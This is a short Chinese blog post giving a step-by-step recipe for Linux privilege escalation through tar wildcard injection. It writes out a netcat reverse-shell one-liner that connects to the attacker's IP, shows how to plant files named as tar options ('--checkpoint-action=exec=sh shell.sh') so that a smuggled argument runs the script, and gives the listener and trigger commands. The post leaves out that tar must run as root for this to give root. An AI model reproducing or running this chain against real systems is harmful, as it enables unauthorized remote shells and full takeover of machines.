基于tar通配符漏洞的提权方法

以普通用户进入目标机后,若是可以运行tar指令,则可以通过以下的方法进行提权

原理:

tar有通配符*的漏洞,tar用通配符来压缩文件并读取文件名,若是看到有参数则将执行。

 

操作:

1.先cd到一个用户有完全执行命令的文件夹下

例如:www-data用户的完全权限文件夹为/var/www/html

 

2.创建一个reverse shell脚本

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc you_ip 1234 >/tmp/f' > shell.sh

you_ip为本机IP地址
1234为将要监听的端口

 

3.创建tar将要运行的参数

touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"

 

4.在本机上打开本地监听

nc -lnvp 1234

 

5.在目标机上执行命令

tar cf /var/www/html.tgz *

c代表创建
f代表类型为文件
最后的通配符*是精华所在
这整个命令意思就是:
因为之前已经cd到/var/www/html目录下了,
然后就直接将这整个目录下的所有文件进行压缩,
如果遇到参数则执行,压缩后创建一个文件,创建的文件目录可以随便定个可以写入的目录

最后在本地机上就已经以root登入了

posted @ 2023-01-25 17:12  野荷  阅读(258)  评论(0编辑  收藏  举报